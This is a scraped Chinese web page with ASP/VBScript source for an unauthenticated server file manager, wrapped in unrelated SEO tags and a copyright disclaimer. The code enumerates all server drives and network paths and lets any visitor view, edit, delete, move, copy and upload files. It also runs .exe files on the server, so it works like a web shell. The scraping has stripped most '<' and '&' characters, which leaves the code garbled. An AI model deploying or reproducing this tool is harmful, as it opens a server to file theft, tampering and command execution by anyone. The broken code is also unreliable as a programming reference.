主頁 > 知識庫 > 文件的讀出 編輯 管理

文件的讀出 編輯 管理

熱門標(biāo)簽:縣域地圖標(biāo)注打印店 個(gè)人可以辦理400電話么 修改地圖標(biāo)注 外呼系統(tǒng)API接口 金昌電話機(jī)器人價(jià)格 怎么在地圖標(biāo)注自己 鳳臺百度地圖標(biāo)注店 萊西電子地圖標(biāo)注 武夷山旅游地圖標(biāo)注
%
urlpath="http://"Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"a href='list.asp?path="Request("oldpath")"attrib="attrib"'>font color='#FF8000'>■/font>↑font color='ff2222'>回上級目錄/font>/a>br>"
Response.write"table border='0' width='100%' cellpadding='0'>"
For Each x In theSubFolders
Response.write"tr>td width='50%'>a href='list.asp?path="lpathx.Name"oldpath="Request("path")"attrib="attrib"'>└font color='#FF8000'>■/font> "x.Name"/a> /td>"
Response.Write "td>a href=# onclick=javascript:window.open('delete.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>刪除/a>/td>"
Response.Write "td>a href=# onclick=javascript:window.open('move.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>移改/a>/td>"
Response.Write "td>a href=# onclick=javascript:window.open('copy.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>復(fù)制/a>br>/td>/tr>"
Next
Response.Write "/table>"
end if
End Sub

Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"table border='0' width='100%' cellpadding='0'>"
For Each x In theFiles
if Request("attrib")="true" then
showstring="strong>"x.Name"/strong>"
else
showstring="a href=# onclick=javascript:window.open('"urlpathlpathserver.urlencode(x.Name)"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>strong>"x.name"/strong>/a>"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring"/td>td width='10%'>A href=# onclick=javascript:window.open('fileop.asp@filename="lpathx.name"action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color=red>執(zhí)行/font>/a>/td>"
else
showstring=showstring"/td>td width='10%'>/td>"
end if
Response.write"tr>td width='20%'>font color='#FF8000'>□/font>"showstring"td width='15%' align='right'>"x.size"字節(jié)/td>td width='45%'>a href='#' title='""類型:"x.typechr(10)"屬性:"x.Attributeschr(10)"時(shí)間:"x.DateLastModified"'>font color='#FF8000' >?/font>屬性/a>a href=# onclick=javascript:window.open('view.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"attrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >∝/font>查看/a>a href=# onclick=javascript:window.open('edit.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"attrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >∝/font>編輯/a>a href=# onclick=javascript:window.open('edit.asp@path="server.urlencode(lpath)server.urlencode(x.Name)"op=delattrib="attrib"','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >×/font>刪除/a>a href=# onclick=javascript:window.open('copy.asp@spath=" server.urlencode(lpath) "" server.urlencode(x.Name) "aim=files','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >+/font>復(fù)制/a>a href=# onclick=javascript:window.open('move.asp@spath="server.urlencode(lpath)server.urlencode(x.Name)"aim=files""','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');>font color='#FF8000' >+/font>移動/a>/td>/tr>"
Next
end if
Response.write"/table>"
End Sub
%>
html>

head>
meta http-equiv="Content-Type" content="text/html; charset=gb2312">
title>/title>
meta name="GENERATOR" content="Microsoft FrontPage 3.0">
style>
!--
table{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
-->
/style>
/head>
script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open('edit.asp?attrib=%=request("attrib")%>creat=yespath=%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
function crdir(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open('edir.asp?attrib=%=request("attrib")%>op=creatpath=%=lpath%>'+ls,'hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');}
return false;
}
/script>
script language="vbscript">
sub rmdir(ls)
if confirm("你真的要?jiǎng)h除這個(gè)目錄嗎!"Chr(13)Chr(10)"目錄為:"ls) then
window.open("edir.asp?path="ls"op=delattrib=%=request("attrib")%>")
end if
end sub
sub copyfile(sfile)
dfile=InputBox("※文件復(fù)制※"Chr(13)Chr(10)"源文件:"sfileChr(13)Chr(10)"輸入目標(biāo)文件的文件名:"Chr(13)Chr(10)"[允許帶路徑,要根據(jù)你的當(dāng)前路徑模式]")
dfile=trim(dfile)
attrib="%=request("attrib")%>"
if dfile>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib>"true" then
alert "對不起,你在相對路徑模式下不能使用絕對路徑"Chr(13)Chr(10)"錯(cuò)誤路徑:["dfile"]"
exit sub
end if
else
lp="%=lpath%>"
end if
window.open("edit.asp?path="+sfile+"op=copyattrib="+attrib+"dpath="+lp+dfile)
else
alert"您沒有輸入文件名!"
end If
end sub
/script>
body>
table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">

tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※切換到相應(yīng)盤符:span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)">%
For Each thing in fsoBrowse.Drives
Response.write "◎a href='list.asp?path="thing.DriveLetter":attrib=true'>"thing.DriveLetter":/a>"
NEXT
%> /span>br>
[如果該盤在服務(wù)器上不存在,那么將不顯示東西,你也可以更URL上的PATH值換換到其它路徑上,支持局域網(wǎng)地址,如:"\\pc01\c"]/td>
/tr>
tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※%
if Request("attrib")="true" then
response.write "a href='list.asp'>切換到相對路徑編輯模式/a>"
else
response.write "a href='list.asp?attrib=true'>切換到絕對路徑編輯模式/a>"
end if
%> ※絕對路徑:span
style="background-color: rgb(255,255,255)">%=cpath%>/span>/td>
/tr>
tr>
td width="100%" bgcolor="#C0C0C0" colspan="2">※當(dāng)前目錄font color="#FF8000">■/font>:span style="background-color: rgb(255,255,255)">%=lpath%>/span> br>
※上傳文件到當(dāng)前目錄font color="#FF8000">■/font>:span style="background-color: rgb(255,255,255)">a href=../upfilein.asp?filepath=%=server.urlencode(cpath)%> target=_blank>上傳文件(文件大小最好不要超過500K)/a>/span>
/td>
/tr>form name="newfile"
onSubmit="return crfile(newfile.filename.value);">
tr>td bgcolor="#C0C0C0" colspan="2">〖文件〗 注:只允許文本編輯|input type="text" name="filename" size="20">input
type="submit" value="新建文件">input type="button" value="新建目錄" onclick="crdir(newfile.filename.value)">
/td>
/tr>/form>
tr>
td width="40%" valign="top" bgcolor="#C8E3FF">%Call GetFolder()%>
/td>
td width="60%" valign="top" bgcolor="#FFefdf">%Call GetFile()%>
/td>
/tr>
/table>

/body>
/html>

標(biāo)簽:南京 楚雄 邢臺 清遠(yuǎn) 涼山 赤峰 上海 通遼

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《文件的讀出 編輯 管理》,本文關(guān)鍵詞  文件,的,讀出,編輯,管理,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《文件的讀出 編輯 管理》相關(guān)的同類信息!
  • 本頁收集關(guān)于文件的讀出 編輯 管理的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章